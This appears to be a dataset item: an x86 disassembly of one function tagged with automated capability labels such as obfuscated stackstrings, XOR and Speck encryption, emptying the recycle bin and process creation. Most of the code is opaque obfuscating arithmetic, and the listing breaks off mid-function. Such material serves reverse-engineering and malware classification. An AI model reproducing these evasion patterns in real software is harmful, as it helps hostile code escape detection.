Function at 0x401000
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings
Create process on windows
Empty the recycle bin
Encode data using xor
Encrypt data using speck
Get common file path
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xa41c
call fcn.00484cb0
push esi
mov byte [ebp - 0x7975], 0x10
mov dword [ebp - 0x2d50], 0x30070019
mov dword [ebp - 0x7968], 0x43b80c9a
mov dword [ebp - 0x23e0], 0x2cae7470
mov byte [ebp - 0x9435], 0x78
mov dword [ebp - 0x525c], 0x4c8a892
mov dword [ebp - 0x6584], 0x755d7633
mov dword [ebp - 0x2d2c], 0x3b96fadd
mov dword [ebp - 0x36a4], 0x47d66ce5
mov dword [ebp - 0xce8], 0x26779b90
mov dword [ebp - 0x2d1c], 0xb770e78f
mov byte [ebp - 0x3691], 0x5c
mov eax, 0x3ac3
mov word [ebp - 0x23b8], ax
mov ecx, 0x20a
mov word [ebp - 0x7934], cx
mov dword [ebp - 0x8ad0], 0xdd6e4cb5
mov dword [ebp - 0x81d8], 0x354bebd3
mov dword [ebp - 0x7918], 0x523aa0e9
mov edx, 0x751c
mov word [ebp - 0x5c34], dx
mov eax, 0x79fb
mov word [ebp - 0x6550], ax
mov dword [ebp - 0x19d4], 0x47fb7166
mov dword [ebp - 0x2cdc], 0x32ff8215
mov dword [ebp - 0x3f9c], 0x20a79a3b
mov dword [ebp - 0x48b8], 0x6ba88482
mov dword [ebp - 0x48ac], 0x49cc90a7
mov dword [ebp - 0x5200], 0xcc3ddfcb
mov byte [ebp - 0xa149], 0x22
mov dword [ebp - 0x819c], 0x7541f689
mov byte [ebp - 0x2cb1], 0x72
mov dword [ebp - 0x3f80], 0x5df02d92
mov dword [ebp - 0x2348], 0x5f70e2e1
mov dword [ebp - 0x9384], 0xdce8e2c8
mov ecx, 0x2e
mov word [ebp - 0x2c9c], cx
mov dword [ebp - 0x8174], 0xb2eabde8
mov dword [ebp - 0x5bb4], 0x2238ff44
mov byte [ebp - 0xa0f5], 0x50
mov dword [ebp - 0x3f40], 0xc01a48e
mov edx, 0xca2
mov word [ebp - 0x231c], dx
mov eax, 0x75e
mov word [ebp - 0x6e88], ax
mov ecx, 0xd1c
mov word [ebp - 0x6e7c], cx
mov dword [ebp - 0x933c], 0x4eb84290
mov dword [ebp - 0x5b74], 0x8035c744
mov edx, 0xd06
mov word [ebp - 0x2c74], dx
mov dword [ebp - 0x8148], 0x17423840
mov eax, 0xc1c
mov word [ebp - 0x64b8], ax
mov ecx, 0x7af
mov word [ebp - 0x8134], cx
mov dword [ebp - 0x6e40], 0x79557bab
mov dword [ebp - 0x3f08], 0xb7c29903
mov edx, 0x371
mov word [ebp - 0x35c8], dx
mov dword [ebp - 0x5b48], 0x2e6e9dcb
mov eax, 0xb05
mov word [ebp - 0x931c], ax
mov dword [ebp - 0x22f0], 0x4eb3f783
mov byte [ebp - 0xc22], 0x1b
mov byte [ebp - 0x5b29], 0x63
mov dword [ebp - 0x7854], 0x38f3e613
mov dword [ebp - 0x22d4], 0x44a2a732
mov byte [ebp - 0x6e1e], 0x7e
mov dword [ebp - 0x7848], 0x6755e355
mov ecx, 0x683
mov word [ebp - 0x6494], cx
mov edx, 0xb80
mov word [ebp - 0xa090], dx
mov dword [ebp - 0xbfc], 0x22fec803
mov dword [ebp - 0x35a0], 0x58a69f6f
mov dword [ebp - 0x5130], 0x1956ab4f
mov dword [ebp - 0x3ecc], 0x44229753
mov dword [ebp - 0x2bd8], 0x65574cf1
mov byte [ebp - 0x89f5], 0xf2
mov byte [ebp - 0x5101], 0x47
mov dword [ebp - 0x358c], 0x34da0e53
mov dword [ebp - 0x6e00], 0x2888482b
mov dword [ebp - 0x228c], 0xb9bd67a4
mov dword [ebp - 0x2bc0], 0x4bb755bc
mov eax, 0x79f
mov word [ebp - 0x50e8], ax
mov dword [ebp - 0x3ea0], 0x55ba8f75
mov dword [ebp - 0x18ac], 0x1304231f
mov ecx, 0x367a
mov word [ebp - 0x3e94], cx
mov dword [ebp - 0x89d4], 0x1eda0ef8
mov byte [ebp - 0x6449], 0xfe
mov dword [ebp - 0x355c], 0x2067d240
mov dword [ebp - 0x3554], 0x386a11c3
mov edx, 0xb2b
mov word [ebp - 0x47c8], dx
mov byte [ebp - 0x2ba1], 0xc7
mov dword [ebp - 0xa00c], 0x22e563b6
mov dword [ebp - 0xb7c], 0x2add2159
mov dword [ebp - 0x80d4], 0x3fab486f
mov dword [ebp - 0x5a90], 0xf81a00c9
mov dword [ebp - 0x5a8c], 0x76bd9929
mov dword [ebp - 0x225c], 0xb0235498
mov dword [ebp - 0x6dcc], 0x11eee596
mov byte [ebp - 0x479e], 0x55
mov dword [ebp - 0xb50], 0x435decf2
mov eax, 0xfbc
mov word [ebp - 0x9fd8], ax
mov dword [ebp - 0x185c], 0xa236c79d
mov dword [ebp - 0x9fb4], 0x753424fc
mov ecx, 0x1d0
mov word [ebp - 0x89a0], cx
mov dword [ebp - 0x184c], 0x18825ead
mov dword [ebp - 0x3e18], 0x4c2712d6
mov byte [ebp - 0x3e11], 0xaf
mov dword [ebp - 0x3e10], 0xa5b07a32
mov edx, 0x2341
mov word [ebp - 0x9f8c], dx
mov dword [ebp - 0x4744], 0x9eb80f2
mov dword [ebp - 0x1838], 0x899a08a
mov byte [ebp - 0x5a47], 0x45
mov dword [ebp - 0x3de4], 0x27ab4b34
mov byte [ebp - 0x5a45], 0x23
mov eax, 0xc8c
mov word [ebp - 0xb18], ax
mov byte [ebp - 0x503d], 0xe7
mov dword [ebp - 0x805c], 0x10dd225b
mov ecx, 0x75f3
mov word [ebp - 0x8058], cx
mov dword [ebp - 0x6d74], 0xec8a5b0f
mov dword [ebp - 0x3db4], 0x77ef55f0
mov byte [ebp - 0x63a1], 0xfb
mov dword [ebp - 0x8934], 0x1c1a2c78
mov dword [ebp - 0x2198], 0x23e3c231
mov dword [ebp - 0x8018], 0xb8867b3d
mov dword [ebp - 0x2adc], 0x3748eda1
mov dword [ebp - 0x7744], 0x464cac89
mov edx, 0xb6f
mov word [ebp - 0xa9c], dx
mov dword [ebp - 0x891c], 0x18b859ae
mov byte [ebp - 0x17dd], 0x23
mov dword [ebp - 0x46b4], 0x1903243b
mov dword [ebp - 0x216c], 0x7a74bc5b
mov dword [ebp - 0x3d5c], 0x1e66e63f
mov dword [ebp - 0x2ab8], 0x7c377ffa
mov eax, 0x5bd
mov word [ebp - 0x46a8], ax
mov ecx, 0xb2c
mov word [ebp - 0x9edc], cx
mov byte [ebp - 0x5991], 0xca
mov dword [ebp - 0x4694], 0x38e71fda
mov dword [ebp - 0x6350], 0xfcf8fdd
mov dword [ebp - 0x6d10], 0x7797885e
mov edx, 0x30
mov word [ebp - 0x4680], dx
mov dword [ebp - 0xa60], 0x685fe60d
mov dword [ebp - 0x2120], 0x2fb715c4
mov dword [ebp - 0x88c8], 0x226532
mov dword [ebp - 0x9ebc], 0x9164e31e
mov eax, 0xf1a
mov word [ebp - 0x9188], ax
mov ecx, 0x1e2
mov word [ebp - 0x466c], cx
mov dword [ebp - 0x2a78], 0x5e46cc9f
mov edx, 0xeec
mov word [ebp - 0x1778], dx
mov dword [ebp - 0x9ea8], 0x47a5cf5b
mov eax, 0xc5f
mov word [ebp - 0x7f98], ax
mov dword [ebp - 0x4f84], 0x4cbcb542
mov byte [ebp - 0x630d], 0xe
mov ecx, 0x2487
mov word [ebp - 0x33f0], cx
mov edx, 0x1064
mov word [ebp - 0x9154], dx
mov dword [ebp - 0x9148], 0x2bea6e06
mov dword [ebp - 0x4f68], 0x2b9dd4e
mov dword [ebp - 0x7f74], 0x58969e6b
mov dword [ebp - 0x6c78], 0xdbf7122f
mov dword [ebp - 0x20b0], 0x7f8cf11b
mov dword [ebp - 0x8870], 0x461e8071
mov dword [ebp - 0x9118], 0x178ba423
mov dword [ebp - 0x7f50], 0x3fdfc727
mov eax, 0x2aa6
mov word [ebp - 0x4600], ax
mov ecx, 0x4ebd
mov word [ebp - 0x29d0], cx
mov dword [ebp - 0x9e0c], 0x5dbb3887
mov byte [ebp - 0x90d9], 0x6f
mov byte [ebp - 0x1336], 0xe7
mov byte [ebp - 0x4f15], 0x10
mov dword [ebp - 0x2068], 0x38fba99c
mov dword [ebp - 0x3c84], 0x47d9ddc2
mov byte [ebp - 0x8825], 0xf8
mov edx, 0x2e74
mov word [ebp - 0x29b0], dx
mov dword [ebp - 0x62b0], 0x20b918e5
mov byte [ebp - 0x90b9], 0xbb
mov dword [ebp - 0x5e0], 0x4b0b990c
mov dword [ebp - 0x297c], 0x1df81f4e
mov eax, 0x701
mov word [ebp - 0x90a4], ax
mov ecx, 0x2a0
mov word [ebp - 0x87e0], cx
mov dword [ebp - 0x3354], 0x42ddfd2b
mov dword [ebp - 0x7ee0], 0x2bc04867
mov dword [ebp - 0x87d0], 0x611b1596
mov edx, 0x58b
mov word [ebp - 0x5894], dx
mov dword [ebp - 0x9078], 0x5429d06b
mov dword [ebp - 0x7608], 0x96ccd6f
mov dword [ebp - 0x7ec0], 0x5410919d
mov eax, 0x7bc
mov word [ebp - 0x4eb4], ax
mov dword [ebp - 0x1fe0], 0x28283a1d
mov dword [ebp - 0x584], 0x5409537c
mov dword [ebp - 0x2944], 0x52657f5b
mov ecx, 0x4d37
mov word [ebp - 0x99ec], cx
mov byte [ebp - 0x3301], 0x97
mov dword [ebp - 0x99e8], 0xb1c5eb8
mov edx, 0xe80
mov word [ebp - 0x99e4], dx
mov byte [ebp - 0x9052], 0xbd
mov byte [ebp - 0x7ea5], 0x78
mov byte [ebp - 0x3c29], 0x64
mov eax, 0x5777
mov word [ebp - 0x568], ax
mov dword [ebp - 0x3c20], 0x5006b9ee
mov dword [ebp - 0x32e0], 0x6cc65870
mov byte [ebp - 0x99cd], 0x32
mov dword [ebp - 0x99cc], 0x4ea1db76
mov byte [ebp - 0x5839], 0xc5
mov dword [ebp - 0x99b8], 0x18563cb1
mov byte [ebp - 0x12b2], 0x6b
mov dword [ebp - 0x548], 0x56f7906f
mov ecx, 0xb39
mov word [ebp - 0x5824], cx
mov byte [ebp - 0x44f5], 0x6e
mov dword [ebp - 0x9000], 0x76a91ae
mov byte [ebp - 0x1f89], 0x73
mov dword [ebp - 0x1f88], 0x7347aedc
mov byte [ebp - 0x75ad], 0x40
mov dword [ebp - 0x7e24], 0x64be2219
mov byte [ebp - 0x1273], 0x93
mov edx, 0x881
mov word [ebp - 0x8fd8], dx
mov eax, 0x25b7
mov word [ebp - 0x1268], ax
mov ecx, 0x4909
mov word [ebp - 0x993c], cx
mov byte [ebp - 0x3bb1], 0x26
mov dword [ebp - 0x7e08], 0x1ec93b2f
mov byte [ebp - 0x44a6], 0x67
mov dword [ebp - 0x328c], 0x1f2238ee
mov edx, 0xd0f
mov word [ebp - 0x1f20], dx
mov byte [ebp - 0x7df1], 0x1b
mov eax, 0x51df
mov word [ebp - 0x3278], ax
mov dword [ebp - 0x7de0], 0x10c57bf4
mov ecx, 0xbb1
mov word [ebp - 0x7554], cx
mov edx, 0x50
mov word [ebp - 0x9910], dx
mov dword [ebp - 0x123c], 0x3298c55f
mov byte [ebp - 0x4c9], 0xcc
mov dword [ebp - 0x7dd8], 0x496f1f2f
mov eax, 0x5aca
mov word [ebp - 0x8fb4], ax
mov ecx, 0x27ee
mov word [ebp - 0x57e0], cx
mov byte [ebp - 0x57d5], 0x75
mov dword [ebp - 0x1220], 0xaa4f13c5
mov edx, 0x268a
mov word [ebp - 0x325c], dx
mov byte [ebp - 0x1ef1], 0xca
mov dword [ebp - 0x1ef0], 0x7c4275f9
mov dword [ebp - 0x1218], 0x2f04b52f
mov eax, 0x7e3b
mov word [ebp - 0x753c], ax
mov ecx, 0xb0d
mov word [ebp - 0x1ee0], cx
mov dword [ebp - 0x6160], 0x8dfd3bcf
mov dword [ebp - 0x4470], 0xa721c7ef
mov edx, 0x4d3
mov word [ebp - 0x488], dx
mov dword [ebp - 0x4468], 0x3c652b23
mov eax, 0xd54
mov word [ebp - 0x11d0], ax
mov byte [ebp - 0x6abd], 2
mov byte [ebp - 0x4451], 0x3e
mov dword [ebp - 0x7d88], 0x3db056b0
mov ecx, 0xb6
mov word [ebp - 0x5758], cx
mov dword [ebp - 0x5754], 0x9f79af95
mov byte [ebp - 0x462], 0x63
mov dword [ebp - 0x4434], 0x3e39dd32
mov dword [ebp - 0x98c0], 0x81ae87a
mov dword [ebp - 0x98bc], 0x7af668a5
mov dword [ebp - 0x98b4], 0x5d770592
mov dword [ebp - 0x4d64], 0x6832a509
mov edx, 0xf1c
mov word [ebp - 0x5734], dx
mov byte [ebp - 0x867e], 0x29
mov dword [ebp - 0x42c], 0xcb4f106
mov dword [ebp - 0x6a64], 0xc126b318
mov byte [ebp - 0x43ed], 0x5f
mov eax, 0x367
mov word [ebp - 0x8f20], ax
mov ecx, 0x32f
mov word [ebp - 0x7d40], cx
mov byte [ebp - 0x6a55], 0x15
mov byte [ebp - 0x118d], 0x75
mov byte [ebp - 0x4d29], 0xc9
mov dword [ebp - 0x6a54], 0xe36e3e58
mov edx, 0x96b
mov word [ebp - 0x7d34], dx
mov dword [ebp - 0x1e40], 0x46fe3c77
mov dword [ebp - 0x410], 0x3ef56653
mov eax, 0x5799
mov word [ebp - 0x7480], ax
mov byte [ebp - 0x116d], 0xcd
mov ecx, 0xbad
mov word [ebp - 0x6a2c], cx
mov dword [ebp - 0x31b4], 0x70007c90
mov edx, 0x1072
mov word [ebp - 0x9828], dx
mov byte [ebp - 0x3aa5], 0xfa
mov dword [ebp - 0x114c], 0x1e27a72e
mov dword [ebp - 0x1148], 0x92c099c9
mov dword [ebp - 0x97fc], 0x20b0fcc1
mov dword [ebp - 0x8614], 0x675ebfdc
mov dword [ebp - 0x7cec], 0x46f797d3
mov dword [ebp - 0x69e0], 0x9a2fb2d
mov dword [ebp - 0x7ce4], 0x5afaae10
mov eax, 0x6ae
mov word [ebp - 0x5694], ax
mov dword [ebp - 0x6094], 0xa6c19ed
mov ecx, 0xe76
mov word [ebp - 0x568c], cx
mov edx, 0x1a6e
mov word [ebp - 0x3a4], dx
mov dword [ebp - 0x69a8], 0x36b0e540
mov dword [ebp - 0x3a3c], 0x1cb7c8c6
mov eax, 0x520
mov word [ebp - 0x5650], ax
mov dword [ebp - 0x8e50], 0x7a0e7f53
mov byte [ebp - 0x7c7d], 0xb9
mov dword [ebp - 0x10f4], 0x28339dc6
mov byte [ebp - 0x5641], 0x1f
mov dword [ebp - 0x273c], 0x6c64de56
mov dword [ebp - 0x7c7c], 0x43dd8d4c
mov dword [ebp - 0x85b0], 0x1b36d277
mov ecx, 0x93b
mov word [ebp - 0x4c60], cx
mov edx, 0xe7d
mov word [ebp - 0x364], dx
mov dword [ebp - 0x6954], 0x6cafcb1
mov eax, 0x64c
mov word [ebp - 0x6950], ax
mov dword [ebp - 0x978c], 0x2019cd4f
mov dword [ebp - 0x35c], 0x2af65970
mov ecx, 0x7cc
mov word [ebp - 0x3118], cx
mov dword [ebp - 0x8e38], 0x23d4eca8
mov byte [ebp - 0x8e31], 0x48
mov dword [ebp - 0x3114], 0x5133d02d
mov byte [ebp - 0x8579], 0xe
mov dword [ebp - 0x1d60], 0x475d79a
mov edx, 0x2f1c
mov word [ebp - 0x8574], dx
mov dword [ebp - 0x7c3c], 0x7088b822
mov dword [ebp - 0x5610], 0x6e13eead
mov byte [ebp - 0x8569], 0x3f
mov dword [ebp - 0x974c], 0x798f59ff
mov dword [ebp - 0x10b0], 0x47015dd1
mov dword [ebp - 0x6918], 0x613f38bc
mov dword [ebp - 0x7c34], 0x3622f80c
mov dword [ebp - 0x10a8], 0x1df24820
mov dword [ebp - 0x42f4], 0x3a57a31c
mov dword [ebp - 0x7348], 0x14d7202e
mov dword [ebp - 0x1088], 0x21c58815
mov dword [ebp - 0x30cc], 0x36f56d4c
mov dword [ebp - 0x4c08], 0xfd4234bc
mov byte [ebp - 0x7c15], 0xc4
mov dword [ebp - 0x68d4], 0x3badea8f
mov eax, 0x6db
mov word [ebp - 0x55c8], ax
mov dword [ebp - 0x105c], 0xea110980
mov byte [ebp - 0x3989], 0x53
mov byte [ebp - 0x7bee], 0x29
mov dword [ebp - 0x4bd0], 0x3e10fef6
mov byte [ebp - 0x1029], 0x4b
mov dword [ebp - 0x7304], 0x6eed4075
mov byte [ebp - 0x5f91], 0x33
mov dword [ebp - 0x851c], 0x608f470d
mov byte [ebp - 0x4285], 0x6f
mov byte [ebp - 0x72e5], 0x3f
mov byte [ebp - 0x1ca1], 0x6b
mov ecx, 0x373c
mov word [ebp - 0x6890], cx
mov dword [ebp - 0x1004], 0x789d0883
mov byte [ebp - 0x2639], 0xf9
mov byte [ebp - 0x1c91], 0x6b
mov edx, 0x3285
mov word [ebp - 0x8db0], dx
mov dword [ebp - 0x2630], 0x9768487
mov dword [ebp - 0x4258], 0x78d0af1d
mov dword [ebp - 0x300c], 0x4b02170b
mov byte [ebp - 0x1c81], 0x28
mov byte [ebp - 0x72a1], 0x1c
mov eax, 0xe77
mov word [ebp - 0x96a0], ax
mov dword [ebp - 0x84d8], 0x26ed9e71
mov dword [ebp - 0x84c8], 0x1590f14e
mov byte [ebp - 0xf99], 0x7c
mov byte [ebp - 0x84c1], 0x3c
mov ecx, 0xb21
mov word [ebp - 0x967c], cx
mov dword [ebp - 0x1c64], 0x34580e9f
mov dword [ebp - 0x38e0], 0xd1328cfc
mov edx, 0xed5
mov word [ebp - 0x551c], dx
mov dword [ebp - 0x6820], 0x276adeca
mov dword [ebp - 0x8480], 0x45e95826
mov dword [ebp - 0x6804], 0x6cc256ba
mov dword [ebp - 0x67e0], 0xbebafec1
mov byte [ebp - 0x960d], 0xde
mov dword [ebp - 0x8464], 0x263503b6
mov dword [ebp - 0x41e4], 0x6302079e
mov dword [ebp - 0xf28], 0x99ea4d3e
mov eax, 0x98f
mov word [ebp - 0xf0c], ax
mov dword [ebp - 0x8d14], 0x1277c723
mov byte [ebp - 0x1c19], 0x18
mov dword [ebp - 0x38a4], 0x5c361ace
mov byte [ebp - 0x71fd], 0x74
mov ecx, 0x92c
mov word [ebp - 0x8cfc], cx
mov dword [ebp - 0x1fc], 0x3beee54e
mov dword [ebp - 0x71ec], 0x20b9814d
mov dword [ebp - 0x3890], 0xb75dc57
mov byte [ebp - 0x4af5], 0xf4
mov dword [ebp - 0x7b08], 0x15f84a8b
mov dword [ebp - 0x841c], 0x513d676
mov dword [ebp - 0x95d0], 0x54ce0f5c
mov edx, 0x80
mov word [ebp - 0x6788], dx
mov dword [ebp - 0x5460], 0x811d8b3a
mov dword [ebp - 0x1d8], 0x915c93d3
mov dword [ebp - 0x25b4], 0x7fee2cd7
mov dword [ebp - 0x5e70], 0x3fd2a849
mov eax, 0xc9b
mov word [ebp - 0x5444], ax
mov dword [ebp - 0x83f0], 0x7623bd07
mov dword [ebp - 0x95b0], 0x51e4cbd9
mov byte [ebp - 0x7aed], 0x6d
mov dword [ebp - 0x83e8], 0x423aa825
mov dword [ebp - 0xeac], 0x2f94105a
mov ecx, 0x149
mov word [ebp - 0x5e4c], cx
mov byte [ebp - 0x383d], 0x32
mov dword [ebp - 0x5404], 0x7ed0f4eb
mov byte [ebp - 0x3831], 0x5e
mov dword [ebp - 0x2590], 0x38286a3c
mov dword [ebp - 0x2ed8], 0x7fdad40
mov dword [ebp - 0x2ed0], 0x307eaf89
mov dword [ebp - 0x8388], 0x4d6ebe8
mov edx, 0x641
mov word [ebp - 0x2ec0], dx
mov dword [ebp - 0x7138], 0x2b0c1d37
mov eax, 0x5d1f
mov word [ebp - 0xe78], ax
mov dword [ebp - 0x164], 0x65864320
mov dword [ebp - 0x8378], 0x6ba98079
mov dword [ebp - 0x7128], 0x74fafb23
mov ecx, 0x49
mov word [ebp - 0x2538], cx
mov dword [ebp - 0x7118], 0xe096a49a
mov edx, 0x6c2f
mov word [ebp - 0x8c64], dx
mov eax, 0x410
mov word [ebp - 0x1b70], ax
mov dword [ebp - 0x5ddc], 0xcb38d968
mov dword [ebp - 0x120], 0x4397ee92
mov ecx, 0xfe8
mov word [ebp - 0x4a18], cx
mov byte [ebp - 0x833d], 0xdf
mov edx, 0x569
mov word [ebp - 0x1b44], dx
mov eax, 0x730
mov word [ebp - 0x37c0], ax
mov dword [ebp - 0x832c], 0x1fa1839b
mov byte [ebp - 0x7095], 0x98
mov ecx, 0x4cd
mov word [ebp - 0x9524], cx
mov dword [ebp - 0x9520], 0x45f6a32f
mov dword [ebp - 0x24d4], 0x7bfd78de
mov edx, 0x57a
mov word [ebp - 0x6684], dx
mov dword [ebp - 0x7070], 0x655644c0
mov dword [ebp - 0x5d8c], 0xa16765b
mov dword [ebp - 0x8bf0], 0xf204ca1f
mov dword [ebp - 0x24c0], 0x190f519a
mov eax, 0x72ed
mov word [ebp - 0x24bc], ax
mov ecx, 0x9f1
mov word [ebp - 0x24b4], cx
mov dword [ebp - 0x7058], 0x97fbdde
mov byte [ebp - 0x94f9], 0x21
mov byte [ebp - 0x3755], 0x4f
mov dword [ebp - 0x2e18], 0x331d68a
mov edx, 0xa9e
mov word [ebp - 0x82ec], dx
mov eax, 0x5eb
mov word [ebp - 0x5d6c], ax
mov ecx, 0xaf1
mov word [ebp - 0x2490], cx
mov dword [ebp - 0x5d60], 0x7234e9ee
mov dword [ebp - 0x8bb8], 0x10ca4991
mov edx, 0xe12
mov word [ebp - 0x247c], dx
mov dword [ebp - 0x4098], 0x115828df
mov byte [ebp - 0x2dfd], 0x98
mov dword [ebp - 0x84], 0x695b8e1a
mov dword [ebp - 0x373c], 0x37519bce
mov eax, 0x973
mov word [ebp - 0x4094], ax
mov dword [ebp - 0x663c], 0x1936c4f8
mov ecx, 0x64eb
mov word [ebp - 0x2470], cx
mov dword [ebp - 0x8b8c], 0x31d41744
mov edx, 0xb39
mov word [ebp - 0x6624], dx
mov dword [ebp - 0x64], 0x298206d6
mov dword [ebp - 0x2dd8], 0x3455fe1e
mov dword [ebp - 0x8b60], 0xc5753b
mov byte [ebp - 0x5d1e], 0x41
mov eax, 0xe9c
mov word [ebp - 0x2db4], ax
mov ecx, 0xbe4
mov word [ebp - 0xd6c], cx
mov byte [ebp - 0xd65], 0x49
mov dword [ebp - 0xd64], 0x6dd8f3f9
mov dword [ebp - 0x8268], 0x2ca8aee5
mov dword [ebp - 0x6ffc], 0x6d0d6052
mov dword [ebp - 0xd4c], 0x141ee590
mov dword [ebp - 0x24], 0x6b630337
mov edx, 0x6a8
mov word [ebp - 0x9470], dx
mov dword [ebp - 0x52b4], 0x9bcf166b
mov dword [ebp - 0x36f8], 0x1711d000
mov dword [ebp - 0x36e8], 0x275f275b
mov dword [ebp - 0x36e4], 0xe35964a
mov dword [ebp - 0x65c4], 0x351b7e85
mov dword [ebp - 0x36cc], 0xb7b466e6
mov dword [ebp - 0x9458], 0x5ff3fa3d
mov dword [ebp - 0x36c8], 0x33b2c9fd
mov byte [ebp - 0x43c5], 0x6f
mov al, byte [ebp - 0x43c5]
mov byte [ebp - 0xa1cc], al
cmp byte [ebp - 0xa1cc], 0x6f
je 0x4021a4
jmp 0x48433e
movsx ecx, byte [ebp - 0x43c5]
imul ecx, ecx, 0x1b
cmp ecx, 0x4b
jl 0x48431f
movsx edx, byte [ebp - 0x43c5]
and edx, 0x28
cmp edx, 0x7c
jne 0x402230
mov dword [ebp - 0x1c44], 0x8308bd6e
lea eax, [ebp - 0x8c48]
push eax
call dword [sym.imp.SHELL32.dll_SHGetInstanceExplorer]
mov dword [ebp - 0x8d80], eax
mov ecx, dword [ebp - 0x1c44]
mov dword [ebp - 0xa1d0], ecx
cmp dword [ebp - 0xa1d0], 0xd517de3a
je 0x4021fd
jmp 0x402226
lea edx, [ebp - 0x8d80]
push edx
lea eax, [ebp - 0x6c94]
push eax
push 0x74
push 0x4d
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
mov dword [ebp - 0x1c44], 0xab19c275
call fcn.004846f0
jmp 0x402230
mov dword [ebp - 0x1c44], 0x21ec9e45
mov dword [ebp - 0x8950], 0x5c0
movsx ecx, byte [ebp - 0x43c5]
xor ecx, 0x56
cmp ecx, 0x2c
je 0x484287
cmp dword [ebp - 0x8950], 0x2a08
jae 0x402465
mov dword [ebp - 0x1c44], 0x472dfde6
mov edx, dword [ebp - 0x8950]
add edx, 0x6c
mov dword [ebp - 0x8950], edx
movsx eax, byte [ebp - 0x43c5]
shl eax, 1
mov byte [ebp - 0x43c5], al
mov ecx, dword [ebp - 0x1c44]
or ecx, 0xe9da065
mov dword [ebp - 0x1c44], ecx
mov edx, dword [ebp - 0x1c44]
add edx, 0x5275d7dc
mov dword [ebp - 0x1c44], edx
mov eax, dword [ebp - 0x1c44]
add eax, 0x7c00795e
mov dword [ebp - 0x1c44], eax
mov ecx, dword [ebp - 0x1c44]
and ecx, 0x5e188902
mov dword [ebp - 0x1c44], ecx
mov dl, byte [ebp - 0x43c5]
mov byte [ebp - 0x43c5], dl
mov eax, dword [ebp - 0x1c44]
add eax, 0x7fb5e03d
mov dword [ebp - 0x1c44], eax
mov ecx, dword [ebp - 0x1c44]
add ecx, 0xee5a41c
mov dword [ebp - 0x1c44], ecx
mov edx, dword [ebp - 0x1c44]
sub edx, 0x73cb2c08
mov dword [ebp - 0x1c44], edx
movsx eax, byte [ebp - 0x43c5]
shl eax, 6
mov byte [ebp - 0x43c5], al
movsx ecx, byte [ebp - 0x43c5]
xor ecx, 0x23
mov byte [ebp - 0x43c5], cl
mov edx, dword [ebp - 0x1c44]
shr edx, 0x10
mov dword [ebp - 0x1c44], edx
movsx eax, byte [ebp - 0x43c5]
or eax, 0x1c
mov byte [ebp - 0x43c5], al
mov ecx, dword [ebp - 0x1c44]
and ecx, 0x6fabefb8
mov dword [ebp - 0x1c44], ecx
movsx edx, byte [ebp - 0x43c5]
add edx, 0x6e
mov byte [ebp - 0x43c5], dl
mov eax, dword [ebp - 0x1c44]
sub eax, 0x1cfa15a
mov dword [ebp - 0x1c44], eax
mov ecx, dword [ebp - 0x1c44]
sub ecx, 0x1e3ac9cd
mov dword [ebp - 0x1c44], ecx
mov edx, dword [ebp - 0x1c44]
sub edx, 0x776c11a1
mov dword [ebp - 0x1c44], edx
mov eax, dword [ebp - 0x1c44]
and eax, 0x5c215b7c
mov dword [ebp - 0x1c44], eax
mov ecx, dword [ebp - 0x1c44]
sub ecx, 0x27ab7afd
mov dword [ebp - 0x1c44], ecx
mov edx, dword [ebp - 0x1c44]
add edx, 0x5d851008
mov dword [ebp - 0x1c44], edx
mov eax, dword [ebp - 0x1c44]
add eax, 0x6498a832
mov dword [ebp - 0x1c44], eax
mov ecx, dword [ebp - 0x1c44]
sub ecx, 0x2ffefaf1
mov dword [ebp - 0x1c44], ecx
mov edx, dword [ebp - 0x1c44]
or edx, 0x8dd5665
mov dword [ebp - 0x1c44], edx
mov eax, dword [ebp - 0x1c44]
shr eax, 0x18
mov dword [ebp - 0x1c44], eax
mov ecx, dword [ebp - 0x1c44]
xor ecx, 0xf1c5c0be
mov dword [ebp - 0x1c44], ecx
mov edx, dword [ebp - 0x1c44]
shl edx, 0xa
mov dword [ebp - 0x1c44], edx
mov eax, dword [ebp - 0x1c44]
and eax, 0x806f9eba
mov dword [ebp - 0x1c44], eax
mov ecx, dword [ebp - 0x1c44]
sub ecx, 0x48c53d89
mov dword [ebp - 0x1c44], ecx
jmp 0x40224d
cmp dword [ebp - 0x1c44], 0x8ad86aa0
jbe 0x484238
mov edx, dword [ebp - 0x1c44]
mov dword [ebp - 0xa1d4], edx
cmp dword [ebp - 0xa1d4], 0x8ae2572e
je 0x402575
cmp dword [ebp - 0xa1d4], 0xb73ad277
je 0x4024a2
jmp 0x4025be
lea eax, [ebp - 0x43c5]
mov dword [ebp - 0x97b0], eax
mov ecx, dword [ebp - 0x97b0]
movsx edx, byte [ecx]
sub edx, 0x17
movsx eax, byte [ebp - 0x43c5]
cmp edx, eax
je 0x40254f
mov ecx, dword [ebp - 0x95d0]
add ecx, 0x3681fbc
mov dword [ebp - 0x95d0], ecx
mov edx, 0xd56
mov word [ebp - 0x4b34], dx
lea eax, [ebp - 0x1c44]
mov dword [ebp - 0x1234], eax
lea ecx, [ebp - 0x95d0]
mov dword [ebp - 0x8880], ecx
mov edx, dword [ebp - 0x95d0]
mov dword [ebp - 0xc4], edx
lea eax, [ebp - 0xc4]
mov dword [ebp - 0x19b4], eax
mov dword [ebp - 0x3edc], 0xecbd
lea ecx, [ebp - 0x95d0]
mov dword [ebp - 0x4f00], ecx
lea edx, [ebp - 0x43c5]
mov dword [ebp - 0xa038], edx
mov dword [ebp - 0x645c], 0xe431
mov dword [ebp - 0x6290], 0xeb43
jmp 0x402573
cmp dword [ebp - 0x1c44], 0x673350a9
jae 0x402573
mov eax, dword [ebp - 0x8880]
mov ecx, dword [ebp - 0x19b4]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x4f00]
mov dword [eax], edx
jmp 0x4025be
movzx ecx, word [ebp - 0x4b34]
cmp ecx, 0x212
jl 0x402596
mov edx, dword [ebp - 0xa038]
movzx eax, byte [edx]
push eax
call fcn.00484b30
add esp, 4
lea ecx, [ebp - 0x106c]
push ecx
lea edx, [ebp - 0x6c94]
push edx
lea eax, [ebp - 0x43c5]
push eax
mov ecx, dword [ebp - 0x106c]
push ecx
call dword [sym.imp.SHELL32.dll_SHGetDiskFreeSpaceExA]
mov dword [ebp - 0x6f08], eax
mov dx, word [ebp - 0x4b34]
mov word [ebp - 0x3ea8], dx
mov eax, dword [ebp - 0xc4]
mov dword [ebp - 0xa1d8], eax
cmp dword [ebp - 0xa1d8], 0x1f52b834
je 0x4025e6
jmp 0x402615
